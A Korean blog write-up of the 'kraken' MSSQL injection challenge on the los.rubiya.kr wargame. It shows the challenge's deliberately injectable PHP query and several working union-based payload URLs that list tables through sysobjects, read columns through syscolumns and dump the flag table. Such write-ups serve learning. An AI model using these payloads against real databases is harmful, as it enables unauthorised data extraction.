웹찢남

Kraken-writeup 본문

WEB_HACKING/los.rubiya.kr

Kraken-writeup

harry595 2020. 1. 31. 21:23

<?php
  
include "./config.php";
  
login_chk();
  
$db mssql_connect("kraken");
  if(
preg_match('/master|information|;/i'$_GET['id'])) exit("No Hack ~_~");
  if(
preg_match('/master|information|;/i'$_GET['pw'])) exit("No Hack ~_~");
  
$query "select id from member where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if(
$result['id']) echo "<h2>{$result['id']}</h2>";

  if(
$krakenFlag === $_GET['pw']) solve("kraken");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
  
highlight_file(__FILE__);
?>

 

이번 문제는 구글링의 늪에 빠져버렸다... MSSQL에 대해서 지식이 부족해서 그런지 푸는데 오래걸렸다 ㅎ...

Flag가 또 다른 테이블에 숨겨있다! 지난번과 비슷한데 다르다.. 일단 해당 테이블을 알아내보자!! 구글구글

 

 

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md

 

swisskyrepo/PayloadsAllTheThings

A list of useful payloads and bypass for Web Application Security and Pentest/CTF - swisskyrepo/PayloadsAllTheThings

github.com

 

https://developerking.tistory.com/18

 

[MSSQL] MySql의 LIMIT 구현 OFFSET / FETCH NEXT

방법1: select top 10 * from tblname where id not in ( select top 100 id from tblname ); 방법2: select * from ( select row_number() over ( order by id) as rownum, * from tblname ) t1 where t1.rownum..

developerking.tistory.com

처음에 위의 깃허브에서 테이블의 명을 알아낼 수있는 payload를 얻었지만 limit이 안통하는 탓에 더 찾아본결과! TOP이라는 함수를 알게 되었다

 

https://los.rubiya.kr/chall/kraken_647f3513b94339a4c59cf6f9074d0f92.php?id=%27%20union%20SELECT%20top%202%20name%20FROM%20sysobjects%20WHERE%20type%20=%27U%27%20--%20

-결국 얻어낸 payload!!-

flag_ccdfe62b 테이블을 찾았다!

https://los.rubiya.kr/chall/kraken_647f3513b94339a4c59cf6f9074d0f92.php?id=%27%20union%20SELECT%20

name%20FROM%20syscolumns%20WHERE%20id%20=%20(SELECT%20id%20FROM%20sysobjects%20WHERE%20name%20=%20%27flag_ccdfe62b%27)%20--%20

-이번엔 column명을 획득하기 위한 payload-

 

flag_ab15b600 <- Column명 획득!

https://los.rubiya.kr/chall/kraken_647f3513b94339a4c59cf6f9074d0f92.php?id=%27%20union%20SELECT%20*%20from%20flag_ccdfe62b%20--%20

 

해당 payload로 flag 획득!

'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글

siren-writeup  (0) 2020.01.31
cerberus-writeup  (0) 2020.01.31
mummy-writeup  (0) 2020.01.31
yeti-writeup  (0) 2020.01.31
revenant-writeup  (0) 2020.01.30
Comments